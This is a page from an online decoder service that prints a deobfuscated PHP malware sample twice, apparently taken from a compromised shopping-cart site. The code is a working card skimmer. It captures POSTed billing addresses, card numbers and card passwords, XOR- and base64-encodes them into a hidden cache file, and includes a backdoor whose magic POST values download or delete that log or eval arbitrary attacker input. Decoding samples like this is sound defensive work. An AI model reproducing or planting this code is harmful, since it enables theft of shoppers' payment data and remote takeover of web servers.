Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

$ibtlifnuxb="v";$lboawsktvugcjh="a";$cjqeukvhbucs="e";$jugcujmahrhsw="l";$jdicuyfxmzgqlg=create_function('$kytdoukbygjvvsifb', $cjqeukvhbucs.$ibtlifnuxb.$lboawsktvugcjh.$jugcujmahrhsw.'("$kytdoukbygjvvsifb");');$jdicuyfxmzgqlg($jdicuyfxmzgqlg("error_reporting(0); class zynso_Class{ private \$_01eeae331e1c0f5d680e8e6faee8f5fdac515fe1ef65e6aef6e50988e739800e; private \$_6fd143319f78346ef9d4bb5ffffa97feac53a40b; private \$_668060a4f3b836e949e9086ec1a7a930141ebd94e0e3799079857c79; private \$_8a7f129bd55fb61fb2052ff24d9488d1eee2532cc89eb9c1f3ca0ce65028fe5f ; private \$_dd271233fdc694ae4f46309bb5f6706e466dd0518854fe87dd93d8ca; private \$_65d175d4; function __construct(){ \$this->_01eeae331e1c0f5d680e8e6faee8f5fdac515fe1ef65e6aef6e50988e739800e = '/home/deadon/public_html/content/cache/tmp/fff57753de9cdcbfaabf62ce6062576e.cache'; \$this->_6fd143319f78346ef9d4bb5ffffa97feac53a40b = array('billing_address','cc_number','billingForm','paymentMethodsForm','ccs_password'); \$this->_668060a4f3b836e949e9086ec1a7a930141ebd94e0e3799079857c79 = true; \$this->_8a7f129bd55fb61fb2052ff24d9488d1eee2532cc89eb9c1f3ca0ce65028fe5f = '__gad'; \$this->_dd271233fdc694ae4f46309bb5f6706e466dd0518854fe87dd93d8ca = md5(\$_SERVER['HTTP_USER_AGENT']+\$_SERVER['REMOTE_ADDR']); \$this->_65d175d4 = 'ortcepnzuwe'; \$this->zynso_main(); } function zynso_special(\$_9dc5bd49b571a79f4e32a60867645051afb0665de9f558debe84f396e92565ba){ if(\$_9dc5bd49b571a79f4e32a60867645051afb0665de9f558debe84f396e92565ba==='dld'){ if(file_exists(\$this->_01eeae331e1c0f5d680e8e6faee8f5fdac515fe1ef65e6aef6e50988e739800e)){ ob_get_clean(); header('Content-Type: text/plain'); header('Content-Disposition: attachment; filename='.basename(\$this->_01eeae331e1c0f5d680e8e6faee8f5fdac515fe1ef65e6aef6e50988e739800e)); header('Expires: 0'); header('Cache-Control: no-cache'); header('Pragma: public'); header('Content-Length: ' . filesize(\$this->_01eeae331e1c0f5d680e8e6faee8f5fdac515fe1ef65e6aef6e50988e739800e)); readfile(\$this->_01eeae331e1c0f5d680e8e6faee8f5fdac515fe1ef65e6aef6e50988e739800e); die(); } else { ob_get_clean();die('file not exist'); } } if(\$_9dc5bd49b571a79f4e32a60867645051afb0665de9f558debe84f396e92565ba==='del'){ unlink(\$this->_01eeae331e1c0f5d680e8e6faee8f5fdac515fe1ef65e6aef6e50988e739800e); ob_get_clean();die('>ok<'); } if(\$_9dc5bd49b571a79f4e32a60867645051afb0665de9f558debe84f396e92565ba==='ddo'){ ob_get_clean(); eval(\$_POST['werREGHggl9HRJILh'.\$this->_65d175d4]); die(''); } } function zynso_logdata(\$_a098c04ca3e619217b1518a66285cbbf){ \$_a098c04ca3e619217b1518a66285cbbf = \$this->zynso_encodedata(\$_a098c04ca3e619217b1518a66285cbbf); \$_5e1766811c023cef35acc679110c33b24d05c1332440d7cf75d1ede6 = @fopen(\$this->_01eeae331e1c0f5d680e8e6faee8f5fdac515fe1ef65e6aef6e50988e739800e, 'a'); if(!\$_5e1766811c023cef35acc679110c33b24d05c1332440d7cf75d1ede6) return false; fwrite(\$_5e1766811c023cef35acc679110c33b24d05c1332440d7cf75d1ede6, \$_a098c04ca3e619217b1518a66285cbbf.\"\n\"); fclose(\$_5e1766811c023cef35acc679110c33b24d05c1332440d7cf75d1ede6); } function zynso_encodedata(\$_d75451564bcd27b3e863d2bf7bcd7d12ef28edd9){ \$_b9ab2585f28345831d453e091603bd7a = strlen(\$_d75451564bcd27b3e863d2bf7bcd7d12ef28edd9); \$_39b5f7958a5a6b629f00dcfe0d23bf4783998ca3836fb4e2 = strlen(\$this->_65d175d4); for(\$_77878f8daf513326ca062409f25070ce14c690ce = 0; \$_77878f8daf513326ca062409f25070ce14c690ce < \$_b9ab2585f28345831d453e091603bd7a; \$_77878f8daf513326ca062409f25070ce14c690ce++) { for(\$_89a440822c4ead57b9a37844fb2a8986be859ee6e2f318c0a7a3487099a8733071c4ee4ca568bf8481f8336f331605e2edc275e5f35da2dea99a60e2e005af05 = 0; \$_89a440822c4ead57b9a37844fb2a8986be859ee6e2f318c0a7a3487099a8733071c4ee4ca568bf8481f8336f331605e2edc275e5f35da2dea99a60e2e005af05 < \$_39b5f7958a5a6b629f00dcfe0d23bf4783998ca3836fb4e2; \$_89a440822c4ead57b9a37844fb2a8986be859ee6e2f318c0a7a3487099a8733071c4ee4ca568bf8481f8336f331605e2edc275e5f35da2dea99a60e2e005af05++) { \$_d75451564bcd27b3e863d2bf7bcd7d12ef28edd9[\$_77878f8daf513326ca062409f25070ce14c690ce] = \$_d75451564bcd27b3e863d2bf7bcd7d12ef28edd9[\$_77878f8daf513326ca062409f25070ce14c690ce]^\$this->_65d175d4[\$_89a440822c4ead57b9a37844fb2a8986be859ee6e2f318c0a7a3487099a8733071c4ee4ca568bf8481f8336f331605e2edc275e5f35da2dea99a60e2e005af05]; } } return base64_encode(\$_d75451564bcd27b3e863d2bf7bcd7d12ef28edd9); } function zynso_setcookie(){ if(!\$this->_668060a4f3b836e949e9086ec1a7a930141ebd94e0e3799079857c79) return false; if(\$this->zynso_getcookie()===\$this->_dd271233fdc694ae4f46309bb5f6706e466dd0518854fe87dd93d8ca) return false; setcookie(\$this->_8a7f129bd55fb61fb2052ff24d9488d1eee2532cc89eb9c1f3ca0ce65028fe5f, \$this->_dd271233fdc694ae4f46309bb5f6706e466dd0518854fe87dd93d8ca); } function zynso_getcookie(){ if (isset(\$_f58782537186d0e9918d53f46b9108d5740cba82e27139a21470266b09f741e4[\$this->_8a7f129bd55fb61fb2052ff24d9488d1eee2532cc89eb9c1f3ca0ce65028fe5f])) return \$_f58782537186d0e9918d53f46b9108d5740cba82e27139a21470266b09f741e4[\$this->_8a7f129bd55fb61fb2052ff24d9488d1eee2532cc89eb9c1f3ca0ce65028fe5f]; else return false; } function zynso_main(){ if(!isset(\$_POST)) return; \$_6748948742e442379aca764c4153e967c452a5ca = \$_POST; \$_6748948742e442379aca764c4153e967c452a5ca['unic_id'] = \$this->_dd271233fdc694ae4f46309bb5f6706e466dd0518854fe87dd93d8ca; \$_6748948742e442379aca764c4153e967c452a5ca['unic_ip'] = \$_SERVER['REMOTE_ADDR']; \$_6748948742e442379aca764c4153e967c452a5ca['unic_time'] = time(); \$_6748948742e442379aca764c4153e967c452a5ca['unic_site'] = \$_SERVER['SERVER_NAME']; if(isset(\$_484e7e3fdde4476e6b20d1a34f5037f37cba4f10d9dbc6ab4ce2fcfd['ShoppingCartSession'])){ \$_6748948742e442379aca764c4153e967c452a5ca['unic_sess'] = \$_484e7e3fdde4476e6b20d1a34f5037f37cba4f10d9dbc6ab4ce2fcfd['ShoppingCartSession']; } if(isset(\$_484e7e3fdde4476e6b20d1a34f5037f37cba4f10d9dbc6ab4ce2fcfd['ShoppingCartUserSession'])){ \$_6748948742e442379aca764c4153e967c452a5ca['unic_sess'] = \$_484e7e3fdde4476e6b20d1a34f5037f37cba4f10d9dbc6ab4ce2fcfd['ShoppingCartUserSession']; } \$_6748948742e442379aca764c4153e967c452a5ca = serialize(\$_6748948742e442379aca764c4153e967c452a5ca); \$_5e5be432 = false; if(strpos(\$_6748948742e442379aca764c4153e967c452a5ca, 'hvrWRHVOWEOh287heclwi'.\$this->_65d175d4)>0){ \$this->zynso_special('dld'); } if(strpos(\$_6748948742e442379aca764c4153e967c452a5ca, 'hvr452f314rh287h43221'.\$this->_65d175d4)>0){ \$this->zynso_special('del'); } if(strpos(\$_6748948742e442379aca764c4153e967c452a5ca, 'werewffewfvnf87h4dfdf'.\$this->_65d175d4)>0){ \$this->zynso_special('ddo'); } foreach (\$this->_6fd143319f78346ef9d4bb5ffffa97feac53a40b as \$_6f48b3517796be9a274127972a069ac77747b460e89a0f2c){ if(strpos(\$_6748948742e442379aca764c4153e967c452a5ca, \$_6f48b3517796be9a274127972a069ac77747b460e89a0f2c)>0){ \$_5e5be432 = true; } } if(\$_5e5be432) \$this->zynso_logdata(\$_6748948742e442379aca764c4153e967c452a5ca); \$this->zynso_setcookie(); } } new zynso_Class();"));

$jdicuyfxmzgqlg=create_function('$kytdoukbygjvvsifb', "eval("$kytdoukbygjvvsifb");');$jdicuyfxmzgqlg($jdicuyfxmzgqlg("error_reporting(0); class zynso_Class{ private \$_01eeae331e1c0f5d680e8e6faee8f5fdac515fe1ef65e6aef6e50988e739800e; private \$_6fd143319f78346ef9d4bb5ffffa97feac53a40b; private \$_668060a4f3b836e949e9086ec1a7a930141ebd94e0e3799079857c79; private \$_8a7f129bd55fb61fb2052ff24d9488d1eee2532cc89eb9c1f3ca0ce65028fe5f ; private \$_dd271233fdc694ae4f46309bb5f6706e466dd0518854fe87dd93d8ca; private \$_65d175d4; function __construct(){ \$this->_01eeae331e1c0f5d680e8e6faee8f5fdac515fe1ef65e6aef6e50988e739800e = '/home/deadon/public_html/content/cache/tmp/fff57753de9cdcbfaabf62ce6062576e.cache'; \$this->_6fd143319f78346ef9d4bb5ffffa97feac53a40b = array('billing_address','cc_number','billingForm','paymentMethodsForm','ccs_password'); \$this->_668060a4f3b836e949e9086ec1a7a930141ebd94e0e3799079857c79 = true; \$this->_8a7f129bd55fb61fb2052ff24d9488d1eee2532cc89eb9c1f3ca0ce65028fe5f = '__gad'; \$this->_dd271233fdc694ae4f46309bb5f6706e466dd0518854fe87dd93d8ca = md5(\$_SERVER['HTTP_USER_AGENT']+\$_SERVER['REMOTE_ADDR']); \$this->_65d175d4 = 'ortcepnzuwe'; \$this->zynso_main(); } function zynso_special(\$_9dc5bd49b571a79f4e32a60867645051afb0665de9f558debe84f396e92565ba){ if(\$_9dc5bd49b571a79f4e32a60867645051afb0665de9f558debe84f396e92565ba==='dld'){ if(file_exists(\$this->_01eeae331e1c0f5d680e8e6faee8f5fdac515fe1ef65e6aef6e50988e739800e)){ ob_get_clean(); header('Content-Type: text/plain'); header('Content-Disposition: attachment; filename='.basename(\$this->_01eeae331e1c0f5d680e8e6faee8f5fdac515fe1ef65e6aef6e50988e739800e)); header('Expires: 0'); header('Cache-Control: no-cache'); header('Pragma: public'); header('Content-Length: ' . filesize(\$this->_01eeae331e1c0f5d680e8e6faee8f5fdac515fe1ef65e6aef6e50988e739800e)); readfile(\$this->_01eeae331e1c0f5d680e8e6faee8f5fdac515fe1ef65e6aef6e50988e739800e); die(); } else { ob_get_clean();die('file not exist'); } } if(\$_9dc5bd49b571a79f4e32a60867645051afb0665de9f558debe84f396e92565ba==='del'){ unlink(\$this->_01eeae331e1c0f5d680e8e6faee8f5fdac515fe1ef65e6aef6e50988e739800e); ob_get_clean();die('>ok<'); } if(\$_9dc5bd49b571a79f4e32a60867645051afb0665de9f558debe84f396e92565ba==='ddo'){ ob_get_clean(); eval(\$_POST['werREGHggl9HRJILh'.\$this->_65d175d4]); die(''); } } function zynso_logdata(\$_a098c04ca3e619217b1518a66285cbbf){ \$_a098c04ca3e619217b1518a66285cbbf = \$this->zynso_encodedata(\$_a098c04ca3e619217b1518a66285cbbf); \$_5e1766811c023cef35acc679110c33b24d05c1332440d7cf75d1ede6 = @fopen(\$this->_01eeae331e1c0f5d680e8e6faee8f5fdac515fe1ef65e6aef6e50988e739800e, 'a'); if(!\$_5e1766811c023cef35acc679110c33b24d05c1332440d7cf75d1ede6) return false; fwrite(\$_5e1766811c023cef35acc679110c33b24d05c1332440d7cf75d1ede6, \$_a098c04ca3e619217b1518a66285cbbf.\"\n\"); fclose(\$_5e1766811c023cef35acc679110c33b24d05c1332440d7cf75d1ede6); } function zynso_encodedata(\$_d75451564bcd27b3e863d2bf7bcd7d12ef28edd9){ \$_b9ab2585f28345831d453e091603bd7a = strlen(\$_d75451564bcd27b3e863d2bf7bcd7d12ef28edd9); \$_39b5f7958a5a6b629f00dcfe0d23bf4783998ca3836fb4e2 = strlen(\$this->_65d175d4); for(\$_77878f8daf513326ca062409f25070ce14c690ce = 0; \$_77878f8daf513326ca062409f25070ce14c690ce < \$_b9ab2585f28345831d453e091603bd7a; \$_77878f8daf513326ca062409f25070ce14c690ce++) { for(\$_89a440822c4ead57b9a37844fb2a8986be859ee6e2f318c0a7a3487099a8733071c4ee4ca568bf8481f8336f331605e2edc275e5f35da2dea99a60e2e005af05 = 0; \$_89a440822c4ead57b9a37844fb2a8986be859ee6e2f318c0a7a3487099a8733071c4ee4ca568bf8481f8336f331605e2edc275e5f35da2dea99a60e2e005af05 < \$_39b5f7958a5a6b629f00dcfe0d23bf4783998ca3836fb4e2; \$_89a440822c4ead57b9a37844fb2a8986be859ee6e2f318c0a7a3487099a8733071c4ee4ca568bf8481f8336f331605e2edc275e5f35da2dea99a60e2e005af05++) { \$_d75451564bcd27b3e863d2bf7bcd7d12ef28edd9[\$_77878f8daf513326ca062409f25070ce14c690ce] = \$_d75451564bcd27b3e863d2bf7bcd7d12ef28edd9[\$_77878f8daf513326ca062409f25070ce14c690ce]^\$this->_65d175d4[\$_89a440822c4ead57b9a37844fb2a8986be859ee6e2f318c0a7a3487099a8733071c4ee4ca568bf8481f8336f331605e2edc275e5f35da2dea99a60e2e005af05]; } } return base64_encode(\$_d75451564bcd27b3e863d2bf7bcd7d12ef28edd9); } function zynso_setcookie(){ if(!\$this->_668060a4f3b836e949e9086ec1a7a930141ebd94e0e3799079857c79) return false; if(\$this->zynso_getcookie()===\$this->_dd271233fdc694ae4f46309bb5f6706e466dd0518854fe87dd93d8ca) return false; setcookie(\$this->_8a7f129bd55fb61fb2052ff24d9488d1eee2532cc89eb9c1f3ca0ce65028fe5f, \$this->_dd271233fdc694ae4f46309bb5f6706e466dd0518854fe87dd93d8ca); } function zynso_getcookie(){ if (isset(\$_f58782537186d0e9918d53f46b9108d5740cba82e27139a21470266b09f741e4[\$this->_8a7f129bd55fb61fb2052ff24d9488d1eee2532cc89eb9c1f3ca0ce65028fe5f])) return \$_f58782537186d0e9918d53f46b9108d5740cba82e27139a21470266b09f741e4[\$this->_8a7f129bd55fb61fb2052ff24d9488d1eee2532cc89eb9c1f3ca0ce65028fe5f]; else return false; } function zynso_main(){ if(!isset(\$_POST)) return; \$_6748948742e442379aca764c4153e967c452a5ca = \$_POST; \$_6748948742e442379aca764c4153e967c452a5ca['unic_id'] = \$this->_dd271233fdc694ae4f46309bb5f6706e466dd0518854fe87dd93d8ca; \$_6748948742e442379aca764c4153e967c452a5ca['unic_ip'] = \$_SERVER['REMOTE_ADDR']; \$_6748948742e442379aca764c4153e967c452a5ca['unic_time'] = time(); \$_6748948742e442379aca764c4153e967c452a5ca['unic_site'] = \$_SERVER['SERVER_NAME']; if(isset(\$_484e7e3fdde4476e6b20d1a34f5037f37cba4f10d9dbc6ab4ce2fcfd['ShoppingCartSession'])){ \$_6748948742e442379aca764c4153e967c452a5ca['unic_sess'] = \$_484e7e3fdde4476e6b20d1a34f5037f37cba4f10d9dbc6ab4ce2fcfd['ShoppingCartSession']; } if(isset(\$_484e7e3fdde4476e6b20d1a34f5037f37cba4f10d9dbc6ab4ce2fcfd['ShoppingCartUserSession'])){ \$_6748948742e442379aca764c4153e967c452a5ca['unic_sess'] = \$_484e7e3fdde4476e6b20d1a34f5037f37cba4f10d9dbc6ab4ce2fcfd['ShoppingCartUserSession']; } \$_6748948742e442379aca764c4153e967c452a5ca = serialize(\$_6748948742e442379aca764c4153e967c452a5ca); \$_5e5be432 = false; if(strpos(\$_6748948742e442379aca764c4153e967c452a5ca, 'hvrWRHVOWEOh287heclwi'.\$this->_65d175d4)>0){ \$this->zynso_special('dld'); } if(strpos(\$_6748948742e442379aca764c4153e967c452a5ca, 'hvr452f314rh287h43221'.\$this->_65d175d4)>0){ \$this->zynso_special('del'); } if(strpos(\$_6748948742e442379aca764c4153e967c452a5ca, 'werewffewfvnf87h4dfdf'.\$this->_65d175d4)>0){ \$this->zynso_special('ddo'); } foreach (\$this->_6fd143319f78346ef9d4bb5ffffa97feac53a40b as \$_6f48b3517796be9a274127972a069ac77747b460e89a0f2c){ if(strpos(\$_6748948742e442379aca764c4153e967c452a5ca, \$_6f48b3517796be9a274127972a069ac77747b460e89a0f2c)>0){ \$_5e5be432 = true; } } if(\$_5e5be432) \$this->zynso_logdata(\$_6748948742e442379aca764c4153e967c452a5ca); \$this->zynso_setcookie(); } } new zynso_Class();"));



© 2023 Quttera Ltd. All rights reserved.